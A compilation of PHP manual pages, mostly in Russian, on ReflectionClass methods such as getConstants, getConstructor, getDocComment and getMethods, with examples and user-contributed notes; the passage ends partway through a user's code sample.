The "getconstant" method can be used to get the value associated with a constant
of a particular class that you are examining.
The following code snippet shows this:

<?php
    class Test{
        const ONE = "Number one";
        const TWO = "Number two";
    }

    $obj = new ReflectionClass( "Test" );
    echo $obj->getconstant( "ONE" )."\n";
    echo $obj->getconstant( "TWO" )."\n";

?>

output:
Number one
Number two


Возвращает константы

  • « ReflectionClass::getConstant
  • ReflectionClass::getConstructor »
  • PHP Manual
  • ReflectionClass
  • Возвращает константы

ReflectionClass::getConstants

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getConstants — Возвращает константы

Описание

public ReflectionClass::getConstants(?int $filter = null): array

Возвращает все определённые в классе константы, независимо от их модификаторов видимости.

Список параметров

filter

Дополнительный фильтр для фильтрации констант видимости. Он настраивается с помощью ReflectionClassConstant constants и по умолчанию используется для всех констант видимости.

Возвращаемые значения

Массив (array) констант. Имя константы - ключ, значение константы - значение.

Список изменений

Версия | Описание
8.0.0 | Добавлен параметр filter.

Смотрите также

  • ReflectionClass::getConstant() - Возвращает определённую константу

User Contributed Notes

dmitrochenkooleg at gmail dot com 05-Apr-2019 10:12
Get the latest constants declared.

abstract class AbstractEnum
{
    /**
     * Возвращает все константы класса || Return all constants
     *
     * @return array
     */
    static function getConstants()
    {
        $rc = new \ReflectionClass(get_called_class());

        return $rc->getConstants();
    }

    /**
     * Возвращает массив констант определенные в вызываемом классе  || Return last constants
     *
     * @return array
     */
    static function lastConstants()
    {
        $parentConstants = static::getParentConstants();

        $allConstants = static::getConstants();

        return array_diff($allConstants, $parentConstants);
    }

    /**
     * Возвращает все константы родительских классов || Return parent constants
     *
     * @return array
     */
    static function getParentConstants()
    {
        $rc = new \ReflectionClass(get_parent_class(static::class));
        $consts = $rc->getConstants();

        return $consts;
    }
}

======
class Roles extends AbstractEnum
{
    const ROOT = 'root';
    const ADMIN = 'admin';
    const USER = 'user';
}

// Output:
All: root, admin, user
Last: root, admin, user

class NewRoles extends Roles
{
    const CLIENT = 'client';
    const MODERATOR = 'moderator';
    const SUPERMODERATOR = 'super'.self::USER;
}

// Output:
All: client, moderator, superuser, root, admin, user
Last: client, moderator, superuser

class AdditionalRoles extends Roles
{
    const VIEWER = 'viewer';
    const CHECKER = 'checker';
    const ROOT = 'rooter';
}

All: viewer, checker, rooter, client, moderator, superuser, admin, user
Last: viewer, checker, rooter
Panni 17-Nov-2018 09:21
If you want to define a static getConstants() function which works with inheritance you can do the following:

<?php

abstract class AbstractClass
{
    const TEST = "test";

    public static function getConstants()
    {
        // "static::class" here does the magic
        $reflectionClass = new ReflectionClass(static::class);
        return $reflectionClass->getConstants();
    }
}

class ChildClass extends AbstractClass
{
    const TYPE_A = 1;
    const TYPE_B = 'hello';
}

$example = new ChildClass();
var_dump($example->getConstants());

// Result:
array(3) {
  'TYPE_A' => int(1)
  'TYPE_B' => string(5) "hello"
  'TEST' => string(4) "test"
}

?>
Sandor Toth 21-Nov-2016 02:50
You can pass $this as class for the ReflectionClass. __CLASS__ won't help if you extend the original class, because it is a magic constant based on the file itself.

<?php

class Example {
  const TYPE_A = 1;
  const TYPE_B = 'hello';

  public function getConstants()
  {
    $reflectionClass = new ReflectionClass($this);
    return $reflectionClass->getConstants();
  }
}

$example = new Example();
var_dump($example->getConstants());

// Result:
array ( size = 2)
  'TYPE_A' => int 1
  'TYPE_B' => (string) 'hello'
davide dot renzi at gmail dot com 16-Jul-2014 11:21
If you want to return the constants defined inside a class then you can also define an internal method as follows:

<?php
class myClass {
    const NONE = 0;
    const REQUEST = 100;
    const AUTH = 101;

    // others...

    static function getConstants() {
        $oClass = new ReflectionClass(__CLASS__);
        return $oClass->getConstants();
    }
}
?>
shgninc at gmail dot com 20-Nov-2013 10:00
I use a functions to do somthing base on the class constant name as below. This example maybe helpful for everybody.
<?php
public function renderData($question_type = NULL, $data = array()) {
        $types = array();
        $qt = new ReflectionClass(questionType);
        $types = $qt->getConstants();
        if ($type = array_search($question_type, $types)){
                //.....Do somthing
}
}
?>
djhob1972 at yahoo dot com dot au 16-Dec-2009 05:42
I was trying to determine how to get a var_dump of constants that are within an interface.  Thats right, not using any classes but the interface itself.

Along my travels I found it quite interesting that the ReflectionClass along with a direct call to the interface will also dump its constants.  Perfect!!!!

This was using PHP 5.3.1 and my example as below:-

1st File:

constants.php

<?php
<?php>

interface MyConstants
{
    // --------------------------
    // Programmatic Level
    // --------------------------
    const DEBUG_MODE_ACTIVE       = FALSE;
    const PHP_VERSION_REQUIREMENT = "5.1.2";
}
?>

=======
Second file:
=======

test.php

<?php>
include_once ("constants.php");

$oClass = new ReflectionClass ('MyConstants');
$array = $oClass->getConstants ();
var_dump ($array);
unset ($oClass);
?>

what you would get from the command line:-

?:\???\htdocs\????>php test.php
array(2) {
  ["DEBUG_MODE_ACTIVE"]=> bool(false)
  ["PHP_VERSION_REQUIREMENT"]=> string(5) "5.1.2"

But as you can see this can work quite well to your advantage in many ways so I truely hope this helps someone else with a similar headache in the future to come!

Enjoy!


Возвращает конструктор класса

  • « ReflectionClass::getConstants
  • ReflectionClass::getDefaultProperties »
  • PHP Manual
  • ReflectionClass
  • Возвращает конструктор класса

ReflectionClass::getConstructor

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getConstructor — Возвращает конструктор класса

Описание

public ReflectionClass::getConstructor(): ?ReflectionMethod

Возвращает конструктор отражённого класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект ReflectionMethod, отражающий конструктор класса, или null если у класса нет конструктора.

Примеры

Пример #1 Пример использования ReflectionClass::getConstructor()

<?php
$class = new ReflectionClass('ReflectionClass');
$constructor = $class->getConstructor();
var_dump($constructor);
?>

Результат выполнения приведённого примера:

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(11) "__construct"
  ["class"]=>
  string(15) "ReflectionClass"
}

Смотрите также

  • ReflectionClass::getName() - Возвращает имя класса

User Contributed Notes

martin dot melka at gmail dot com 01-Jul-2019 09:03
This method will return the parent's constructor, if the current class does not override it.

NULL will only be returned when the class has no constructor AND none of its parents have a constructor either.
jochem at drecomm dot nl 13-May-2011 08:13
Old constructors also count as contructor:

<?php

class SomeClass {

    function SomeClass($some_arg) {
    }

}

$refl = new ReflectionClass('SomeClass');

var_dump($refl->isInstantiable()); // bool(true)

echo $refl->getConstructor();

/* OUTPUT:
Method [ <user, ctor> public method SomeClass ] {
  @@ /var/www/vhosts/api.example.com/httpdocs/testRefl.php 5 - 6

  - Parameters [1] {
    Parameter #0 [ <required> $some_arg ]
  }
}
*/

?>

Some more behavior:

<?php

class SomeClass {

   function funcA($arg1, $arg2) {

   }

}

$refl = new ReflectionClass('SomeClass');

var_dump($refl->isInstantiable()); // bool(true)

var_dump($refl->getConstructor()); // NULL

/* --------------- */

class AnotherClass {

   private function __construct() {
   }

   function funcB($arg1, $arg2) {

   }

}

$refl = new ReflectionClass('AnotherClass');

var_dump($refl->isInstantiable()); // bool(false)

echo $refl->getConstructor();
/*
Method [ <user, ctor> private method __construct ] {
  @@ /testRefl.php 22 - 23
}
*/

?>

Tested on PHP 5.2.4
Rob McVey 16-Jul-2010 07:47
Just posting some example code for anyone wanting to mess around with this stuff:

<?php

class Say
{
    private $what_to_say;
    public function __construct($no_default, $word = "Hello World", $options = array('a', 'b'))
    {
        $this->what_to_say = $word;
    }

    public function speak()
    {
        echo $this->what_to_say;
    }
}

$class = new ReflectionClass('Say');

$constructor = $class->getConstructor();

echo $constructor;

/*     OUTPUTS:

Method [ <user, ctor> public method __construct ] {
  @@ /reflect.php 6 - 9

  - Parameters [3] {
    Parameter #0 [ <required> $no_default ]
    Parameter #1 [ <optional> $word = 'Hello World' ]
    Parameter #2 [ <optional> $options = Array ]
  }
}

*/

$parameters = $constructor->getParameters();

var_export($parameters);

/*    OUTPUT:

array (
  0 =>
  ReflectionParameter::__set_state(array(
     'name' => 'no_default',
  )),
  1 =>
  ReflectionParameter::__set_state(array(
     'name' => 'word',
  )),
  2 =>
  ReflectionParameter::__set_state(array(
     'name' => 'options',
  )),
)

*/

$nl = "\n";
echo "$nl\tParameters$nl";
foreach($parameters as $param)
{
    echo "****** $" . $param->name . " ******$nl";
    echo "Nullable:\t\t" . $param->allowsNull() . $nl
         ."Default Value:\t\t";
    echo ($param->isDefaultValueAvailable()) ? $param->getDefaultValue() : "None";
    echo $nl ."Is Array:\t\t";
    echo ($param->isArray()) ? "Yes" : "No";
    echo $nl . "Optional:\t\t";
    echo ($param->isOptional()) ? "Yes" : "No";
    echo $nl;
}

/*    OUTPUT:

    Parameters
****** $no_default ******
Nullable:        1
Default Value:    None
Is Array:        No
Optional:        No
****** $word ******
Nullable:        1
Default Value:    Hello World
Is Array:        No
Optional:        Yes
****** $options ******
Nullable:        1
Default Value:    Array
Is Array:        No
Optional:        Yes

*/

?>

To clarify the possibly confusing behavior of ReflectionParemeter::isArray(), it will return true if the parameter has type hinting:

<?php
...
public function __construct($no_default, $word = "Hello World", array $options = array('a', 'b'))
...
?>

Calling isArray() will now return true for the $options parameter


Возвращает свойства по умолчанию

  • « ReflectionClass::getConstructor
  • ReflectionClass::getDocComment »
  • PHP Manual
  • ReflectionClass
  • Возвращает свойства по умолчанию

ReflectionClass::getDefaultProperties

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getDefaultProperties — Возвращает свойства по умолчанию

Описание

public ReflectionClass::getDefaultProperties(): array

Возвращает свойства класса по умолчанию (включая унаследованные свойства).

Замечание:

Этот метод работает только для статических свойств при использовании с внутренними классами. Значение по умолчанию статического свойства нельзя отслеживать в классах, определённых пользователем.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив (array) свойств по умолчанию, ключами которого являются имена свойств, а значениями - соответствующие значения по умолчанию или же null, если этому свойству не было задано значение по умолчанию. Функция не различает статические и нестатические свойства, а также не предоставляет информацию о модификаторах видимости при выводе.

Примеры

Пример #1 Пример использования ReflectionClass::getDefaultProperties()

<?php
class Bar {
protected $inheritedProperty = 'унаследованное свойство по умолчанию';
}

class Foo extends Bar {
public $property = 'свойство по умолчанию';
private $privateProperty = 'закрытое свойство по умолчанию';
public static $staticProperty = 'статическое свойство';
public $defaultlessProperty;
}

$reflectionClass = new ReflectionClass('Foo');
var_dump($reflectionClass->getDefaultProperties());
?>

Результат выполнения приведённого примера:

array(5) {
  ["staticProperty"]=>
  string(39) "статическое свойство"
  ["property"]=>
  string(40) "свойство по умолчанию"
  ["privateProperty"]=>
  string(57) "закрытое свойство по умолчанию"
  ["defaultlessProperty"]=>
  NULL
  ["inheritedProperty"]=>
  string(69) "унаследованное свойство по умолчанию"
}

Смотрите также

  • ReflectionClass::getProperties() - Возвращает свойства
  • ReflectionClass::getStaticProperties() - Возвращает статические свойства
  • ReflectionClass::getProperty() - Возвращает экземпляр ReflectionProperty для свойства класса

User Contributed Notes

articice at ua dot fm 17-Mar-2016 12:15
runaurufu is not quite right, get_class_vars() does not return protected params, while this one does.

Thus it's extremely useful when having an abstract parent class and protected properties overriding in children.
For example, I use a class factory and one of the children has some static test methods that still need to output a paramether name, like $this->name, etc. With this example code, one can use static::getNotStaticProperty('name'), but not get_class_vars('name').

Try it:

trait static_reflector {
    /*
     * a purely static function that returns default properties of the non-static instance of the same class
     */
    static protected function getNonStaticProperty($key) {
        $me = get_class();
        $reflectionClass = new \ReflectionClass($me);
        $properties_list = $reflectionClass->getDefaultProperties();
        if (isset($properties_list[$key]))
            return $var_name = $properties_list[$key];
        else throw new RuntimeException("BUG: Unable to reflect non-static property '{$key}' from default properties of class {$me}");
    }
}

class a {

    use \static_reflector;

    protected $key_a = 'test ok';

    public static function test() {
        echo static::getNonStaticProperty('key_a')."\n";

        try {
            print static::getNonStaticProperty('key_b');
            echo "FAIL No exception thrown";
        } catch (RuntimeException $e) {
            echo "OK ".$e->getMessage();
        }

    }
}

echo get_class_vars('a')['key_a'];
a::test();

this will return:
Notice: Undefined index: key_a in ...
test ok
OK BUG: Unable to reflect non-static property 'key_b' from default properties of class a

ps: Yes, this is copied from a unit test.
runaurufu AT gmail.com 04-Aug-2011 01:02
Worth noting that it will not return private parameters of parent class...
so it works exactly as get_class_vars or get_object_vars
captainjester at hotmail dot com 20-Jan-2010 03:20
This will return all properties in a class and any parent classes.  The array will have keys set to the property names and empty values.


Возвращает doc-блоки комментариев

  • « ReflectionClass::getDefaultProperties
  • ReflectionClass::getEndLine »
  • PHP Manual
  • ReflectionClass
  • Возвращает doc-блоки комментариев

ReflectionClass::getDocComment

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getDocComment — Возвращает doc-блоки комментариев

Описание

public ReflectionClass::getDocComment(): string|false

Получает doc-блоки из комментариев класса. Doc-блок - это комментарий начинающийся с /**, за которым следует пробел. Если над декларацией класса присутствует несколько doc-блоков, то будет возвращён ближайший к декларации.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

doc-блок комментариев, если он существует, в противном случае false.

Примеры

Пример #1 Пример использования ReflectionClass::getDocComment()

<?php
/**
* Тестовый класс
*
* @param foo bar
* @return baz
*/
class TestClass { }

$rc = new ReflectionClass('TestClass');
var_dump($rc->getDocComment());
?>

Результат выполнения приведённого примера:

string(55) "/**
* Тестовый класс
*
* @param  foo bar
* @return baz
*/"

Смотрите также

  • ReflectionClass::getName() - Возвращает имя класса

User Contributed Notes

bohwaz 15-Feb-2019 10:41
Please note that doc comments are handled differently than regular comments by PHP and the OpCache.

Doc comments are actually kept by the OpCache and accessible by this reflection API, unless disabled by the "opcache.save_comments" INI directive, see http://php.net/manual/en/opcache.configuration.php#ini.opcache.save-comments
i at hyurl dot com 23-Jul-2017 04:35
Not only this method can find a document by a given method name of a class, like this
 <?php
class Foo{
    /**
     * something describes this method
     */
    function bar(){
        /** code here... */
    }
}
$ref = new ReflectionClass('Foo');
print_r($ref->getMethod('bar')->getDocComment()); //will print out the method document as expected.
?>
But, also, if there is no method document in the defination, and the class extends from some other class, the program will automatically
try to find document from the parent class., like this:
<?php
class Foo2 extends Foo{}

$ref = new ReflectionClass('Foo');
print_r($ref->getMethod('bar')->getDocComment()); //will print out the method document as expected.
?>
geoffreybans at gmail dot com 07-Jan-2016 02:15
This code can help you get the contents of a docBlock in array format beginning with the @symbol and ignoring the (*) asterists.

class Home {

    /**
     *This method loads the homepage
     *@param int $id The user id
     *@throws \Exception If the user id doesn't exist
     *@return void
     */
    public function index( $id)
    {

         #...your code here

      }

}

$object = new Home();

//get the comment string
$comment_string= (new ReflectionClass($object))->getMethod('index')->getdoccomment();

//define the regular expression pattern to use for string matching
$pattern = "#(@[a-zA-Z]+\s*[a-zA-Z0-9, ()_].*)#";

//perform the regular expression on the string provided
preg_match_all($pattern, $comment_string, $matches, PREG_PATTERN_ORDER);

echo "<pre>"; print_r($matches);

//this outputs
Array
(
    [0] => Array
        (
            [0] => @param int $id The user id
            [1] => @throws \Exception If the user id doesn't exist
            [2] => @return void
        )

    [1] => Array
        (
            [0] => @param int $id The user id
            [1] => @throws \Exception If the user id doesn't exist
            [2] => @return void
        )

)

//you can then be able to access the particular string values by index
gabe at fijiwebdesign dot com 23-Aug-2014 11:46
You can also get the docblock definitions for the defined methods of a class as such:

<?php
/**
 * This is an Example class
 */
class Example
{
    /**
     * This is an example function
     */
    public function fn()
    {
        // void
    }
}

$reflector = new ReflectionClass('Example');

// to get the Class DocBlock
echo $reflector->getDocComment()

// to get the Method DocBlock
$reflector->getMethod('fn')->getDocComment();

?>
sun 28-Jun-2014 02:11
Note that \ReflectionClass::getDocComment() ignores all other PHP code and all white-space between the last encountered T_DOC_COMMENT and the class/element definition.

The only exceptions appear to be T_NAMESPACE declarations and T_FUNCTION definitions.

<?php
/**
 * Before namespace.
 */
namespace Foo;

 /**
 * After namespace.
   */

// ^^ contains excessive leading + trailing white-space.
use Bar\Baz;
const FOO = 'BAR';
$ns = 'bar';
# function foo() {}
$a = 2 + 1;
#/** what? */
// ^^ A single-line T_DOC_COMMENT is invisible when commented out.
count(array());

class Foo {
}

$reflector = new \ReflectionClass('Foo\Foo');
var_dump($reflector->getDocComment());
?>
yields, despite all the garbage in between:

string(28) "/**
 * After namespace.
   */"

To sum up:

1. If there are multiple doc comments, the last encountered applies.

2. Removing the "After namespace." docblock yields FALSE.
   (The namespace delimits the scope.)

3. Uncommenting the function definition yields FALSE.
   (The doc comment applies to the function instead.)

4. Despite being an own language construct, the "const" constant declaration does not delimit the scope.

5. Any leading and trailing white-space before and after the T_DOC_COMMENT ("/**...*/") is ignored, but the entire string content within (including all white-space) is consumed literally/verbatim.

[PHP 5.4.29]
uramihsayibok, gmail, com 15-Sep-2010 09:50
According to what I can find in the PHP (5.3.2) source code, getDocComment will return the doc comment as the parser found it.
The doc comment (T_DOC_COMMENT) must begin with a /** - that's two asterisks, not one. The comment continues until the first */. A normal multi-line comment /*...*/ (T_COMMENT) does not count as a doc comment.

The doc comment itself includes those five characters, so <?php substr($doccomment, 3, -2) ?> will get you what's inside. A call to trim() after is recommended.
joe dot scylla at gmail dot com 14-Oct-2009 08:23
If you're using a bytecode cache like eAccelerator this method will return FALSE even if there is a properly formatted Docblock. It looks like the information required by this method gets stripped out by the bytecode cache.


Возвращает номер последней строки

  • « ReflectionClass::getDocComment
  • ReflectionClass::getExtension »
  • PHP Manual
  • ReflectionClass
  • Возвращает номер последней строки

ReflectionClass::getEndLine

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getEndLine — Возвращает номер последней строки

Описание

public ReflectionClass::getEndLine(): int|false

Возвращает номер последней строки из определения пользовательского класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Номер последней строки из определения пользовательского класса или false, если номер неизвестен.

Примеры

Пример #1 Пример использования ReflectionClass::getEndLine()

<?php
// Тестовый класс
class TestClass { }

$rc = new ReflectionClass('TestClass');

echo $rc->getEndLine();
?>

Результат выполнения приведённого примера:

3

Смотрите также

  • ReflectionClass::getStartLine() - Возвращает номер начальной строки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект класса ReflectionExtension для модуля, определяющего класс

  • « ReflectionClass::getEndLine
  • ReflectionClass::getExtensionName »
  • PHP Manual
  • ReflectionClass
  • Возвращает объект класса ReflectionExtension для модуля, определяющего класс

ReflectionClass::getExtension

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getExtension — Возвращает объект класса ReflectionExtension для модуля, определяющего класс

Описание

public ReflectionClass::getExtension(): ?ReflectionExtension

Возвращает объект класса ReflectionExtension для модуля, который определяет класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Экземпляр класса ReflectionExtension, представляющий модуль, определяющий класс, или null для пользовательских классов.

Примеры

Пример #1 Пример использования ReflectionClass::getExtension()

<?php
$class = new ReflectionClass('ReflectionClass');
$extension = $class->getExtension();
var_dump($extension);
?>

Результат выполнения приведённого примера:

object(ReflectionExtension)#2 (1) {
  ["name"]=>
  string(10) "Reflection"
}

Смотрите также

  • ReflectionClass::getExtensionName() - Возвращает имя модуля, определяющее класс

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя модуля, определяющее класс

  • « ReflectionClass::getExtension
  • ReflectionClass::getFileName »
  • PHP Manual
  • ReflectionClass
  • Возвращает имя модуля, определяющее класс

ReflectionClass::getExtensionName

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getExtensionName — Возвращает имя модуля, определяющее класс

Описание

public ReflectionClass::getExtensionName(): string|false

Возвращает имя модуля, которое определяет класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя модуля, определяющее класс, или false для пользовательских классов.

Примеры

Пример #1 Пример использования ReflectionClass::getExtensionName()

<?php
$class = new ReflectionClass('ReflectionClass');
$extension = $class->getExtensionName();
var_dump($extension);
?>

Результат выполнения приведённого примера:

string(10) "Reflection"

Смотрите также

  • ReflectionClass::getExtension() - Возвращает объект класса ReflectionExtension для модуля, определяющего класс

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя файла, в котором определён класс

  • « ReflectionClass::getExtensionName
  • ReflectionClass::getInterfaceNames »
  • PHP Manual
  • ReflectionClass
  • Возвращает имя файла, в котором определён класс

ReflectionClass::getFileName

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getFileName — Возвращает имя файла, в котором определён класс

Описание

public ReflectionClass::getFileName(): string|false

Возвращает имя файла, в котором определён класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла, в котором определён класс. Если класс определён в ядре PHP или в модуле PHP, возвращает false.

Смотрите также

  • ReflectionClass::getExtensionName() - Возвращает имя модуля, определяющее класс

User Contributed Notes

robot at znframework dot com 25-Nov-2017 06:47
<?php

$a = new \ReflectionClass('ZN\Database\InternalDB');

var_dump($a->getFileName());

// Output:  C:\xampp7\htdocs\develop\Internal\Database\DB\InternalDB.php


Возвращает имена интерфейсов

  • « ReflectionClass::getFileName
  • ReflectionClass::getInterfaces »
  • PHP Manual
  • ReflectionClass
  • Возвращает имена интерфейсов

ReflectionClass::getInterfaceNames

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionClass::getInterfaceNames — Возвращает имена интерфейсов

Описание

public ReflectionClass::getInterfaceNames(): array

Возвращает имена интерфейсов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив имён интерфейсов.

Примеры

Пример #1 Пример использования ReflectionClass::getInterfaceNames()

<?php
interface Foo { }

interface Bar { }

class Baz implements Foo, Bar { }

$rc1 = new ReflectionClass("Baz");

print_r($rc1->getInterfaceNames());
?>

Вывод приведённого примера будет похож на:

Array
(
    [0] => Foo
    [1] => Bar
)

Смотрите также

  • ReflectionClass::getInterfaces() - Возвращает интерфейсы

User Contributed Notes

pvdhurk 23-Jul-2020 12:43
For the record, it will return the full name (not the short name) for each Interface

Example with namespace would've helped.
pinpin 27-Mar-2011 04:11
It seems the interface names are actually listed in a defined order:
- "extends" takes precedence over "implements" (i.e. first will be interfaces from (implemented in) the parent class (if any), then interfaces implemented in the class itself)
- when multiple interfaces are implemented at one time/level, it can be:
+ from an "implements" : they're listed in the defined order
+ from an "extends" (a class extends another class which implements multiple interfaces; or an interface extends multiple interfaces) : they're listed in REVERSE order

<?php
interface Foo {}
interface Bar {}
interface Other {}
interface Foobar extends Foo, Bar {}
interface Barfoo extends Bar, Foo {}

class Test1 implements Foo, Bar {}
class Test2 implements Bar, Foo {}

class Test3 extends Test1 {}
class Test4 extends Test2 {}

class Test5 extends Test1 implements Other {}

class Test6 implements Foobar, Other {}
class TestO implements Other {}
class Test7 extends TestO implements Barfoo {}

$r=new ReflectionClass('Test1');
print_r($r->getInterfaceNames()); // Foo, Bar

$r=new ReflectionClass('Test2');
print_r($r->getInterfaceNames()); // Bar, Foo

$r=new ReflectionClass('Test3');
print_r($r->getInterfaceNames()); // Bar, Foo

$r=new ReflectionClass('Test4');
print_r($r->getInterfaceNames()); // Foo, Bar

$r=new ReflectionClass('Test5');
print_r($r->getInterfaceNames()); // Bar, Foo, Other

$r=new ReflectionClass('Test6');
print_r($r->getInterfaceNames()); // Foobar, Bar, Foo, Other

$r=new ReflectionClass('Test7');
print_r($r->getInterfaceNames()); // Other, Barfoo, Foo, Bar
?>


Возвращает интерфейсы

  • « ReflectionClass::getInterfaceNames
  • ReflectionClass::getMethod »
  • PHP Manual
  • ReflectionClass
  • Возвращает интерфейсы

ReflectionClass::getInterfaces

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getInterfaces — Возвращает интерфейсы

Описание

public ReflectionClass::getInterfaces(): array

Возвращает интерфейсы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив (array) интерфейсов, в котором ключами являются имена интерфейсов, а значениями - объекты ReflectionClass.

Примеры

Пример #1 Пример использования ReflectionClass::getInterfaces()

<?php
interface Foo { }

interface Bar { }

class Baz implements Foo, Bar { }

$rc1 = new ReflectionClass("Baz");

print_r($rc1->getInterfaces());
?>

Вывод приведённого примера будет похож на:

Array
(
    [Foo] => ReflectionClass Object
        (
            [name] => Foo
        )

    [Bar] => ReflectionClass Object
        (
            [name] => Bar
        )

)

Смотрите также

  • ReflectionClass::getInterfaceNames() - Возвращает имена интерфейсов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает экземпляр ReflectionMethod для метода класса

  • « ReflectionClass::getInterfaces
  • ReflectionClass::getMethods »
  • PHP Manual
  • ReflectionClass
  • Возвращает экземпляр ReflectionMethod для метода класса

ReflectionClass::getMethod

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getMethod — Возвращает экземпляр ReflectionMethod для метода класса

Описание

public ReflectionClass::getMethod(string $name): ReflectionMethod

Возвращает экземпляр ReflectionMethod для метода класса.

Список параметров

name

Исследуемый метод.

Возвращаемые значения

Экземпляр класса ReflectionMethod.

Ошибки

ReflectionException в случае, если метод не существует.

Примеры

Пример #1 Пример использования ReflectionClass::getMethod()

<?php
$class = new ReflectionClass('ReflectionClass');
$method = $class->getMethod('getMethod');
var_dump($method);
?>

Результат выполнения приведённого примера:

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(9) "getMethod"
  ["class"]=>
  string(15) "ReflectionClass"
}

Смотрите также

  • ReflectionClass::getMethods() - Возвращает список методов в виде массива

User Contributed Notes

sagittaracc at gmail dot com 04-Oct-2021 02:47
if you ever need to get the body of a method, use this extension (https://github.com/sagittaracc/reflection):

namespace sagittaracc\classes;

class Test
{
    public function method()
    {
        if (true) {
            return 'this method';
        }

        return 'never goes here';
    }
}

$reflection = new ReflectionClass(Test::class);
$method = $reflection->getMethod('method');
echo $method->body; // if (true) { return 'this method'; }  return 'never goes here';
Jarrod Nettles 22-Dec-2010 12:58
If you ever need to get the type hint of a parameter in a method use this.

<?php

//Target our class
$reflector = new ReflectionClass('MyClass');

//Get the parameters of a method
$parameters = $reflector->getMethod('FireCannon')->getParameters();

//Loop through each parameter and get the type
foreach($parameters as $param)
{
     //Before you call getClass() that class must be defined!
     echo $param->getClass()->name;
}

?>


Возвращает список методов в виде массива

  • « ReflectionClass::getMethod
  • ReflectionClass::getModifiers »
  • PHP Manual
  • ReflectionClass
  • Возвращает список методов в виде массива

ReflectionClass::getMethods

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getMethods — Возвращает список методов в виде массива

Описание

public ReflectionClass::getMethods(?int $filter = null): array

Возвращает список методов в виде массива.

Список параметров

filter

Фильтрация результата для включения в список только методов с определёнными атрибутами. По умолчанию фильтрации нет.

Комбинация из следующих констант через логическое ИЛИ:
ReflectionMethod::IS_STATIC,
ReflectionMethod::IS_PUBLIC,
ReflectionMethod::IS_PROTECTED,
ReflectionMethod::IS_PRIVATE,
ReflectionMethod::IS_ABSTRACT,
ReflectionMethod::IS_FINAL,
так что все методы с
любым из перечисленных
атрибутов будут возвращены.

Замечание: Обратите внимание, что прочие побитовые операции, к примеру ~ не будут работать так, как ожидается. Другими словами, например, невозможно получить все нестатические методы.

Возвращаемые значения

Массив (array) объектов класса ReflectionMethod, отражающих каждый метод.

Список изменений

Версия | Описание
7.2.0 | filter теперь допускает значение null.

Примеры

Пример #1 Пример использования ReflectionClass::getMethods()

<?php
class Apple {
public function firstMethod() { }
final protected function secondMethod() { }
private static function thirdMethod() { }
}

$class = new ReflectionClass('Apple');
$methods = $class->getMethods();
var_dump($methods);
?>

Результат выполнения приведённого примера:

array(3) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(11) "firstMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(12) "secondMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [2]=>
  object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(11) "thirdMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

Пример #2 Пример фильтрации результата вызова ReflectionClass::getMethods()

<?php
class Apple {
public function firstMethod() { }
final protected function secondMethod() { }
private static function thirdMethod() { }
}

$class = new ReflectionClass('Apple');
$methods = $class->getMethods(ReflectionMethod::IS_STATIC | ReflectionMethod::IS_FINAL);
var_dump($methods);
?>

Результат выполнения приведённого примера:

array(2) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(12) "secondMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(11) "thirdMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

Смотрите также

  • ReflectionClass::getMethod() - Возвращает экземпляр ReflectionMethod для метода класса
  • get_class_methods() - Возвращает массив имён методов класса

User Contributed Notes

tom at r dot je 11-Jun-2014 05:40
ReflectionClass::getMethods() sorts the methods by class (lowest in the inheritance tree first) then by the order they are defined in the class definition:

<?php
class A {
    public function method1() {

    }

    public function method2() {

    }
}

class B extends A {

    public function method3() {

    }

    public function method4() {

    }
}

$class = new ReflectionClass('B');
print_r($class->getMethods());
?>

This will output:

Array
(
    [0] => ReflectionMethod Object
        (
            [name] => method3
            [class] => B
        )

    [1] => ReflectionMethod Object
        (
            [name] => method4
            [class] => B
        )

    [2] => ReflectionMethod Object
        (
            [name] => method1
            [class] => A
        )

    [3] => ReflectionMethod Object
        (
            [name] => method2
            [class] => A
        )

)
x_atrix at yahoo dot com 10-Jul-2013 05:00
Note, for ReflectionClass::getMethods() not all methods in a final class are final, just the ones that have explicit modifier.
If you want to use an and operator for the filter, here is a simple implementation
<?php
final class Apple {
    public function publicMethod() { }
    public final function publicFinalMethod() { }
    protected final function protectedFinalMethod() { }
    private static function privateStaticMethod() { }
}

class MyReflection extends ReflectionClass {
    public function __construct($argument) {
        parent::__construct($argument);
    }

    /**
     * (non-PHPdoc)
     * @see ReflectionClass::getMethods()
     */
    public function getMethods($filter = null, $useAndOperator = true) {
        if ($useAndOperator !== true) {
            return parent::getMethods($filter);
        }

        $methods = parent::getMethods($filter);
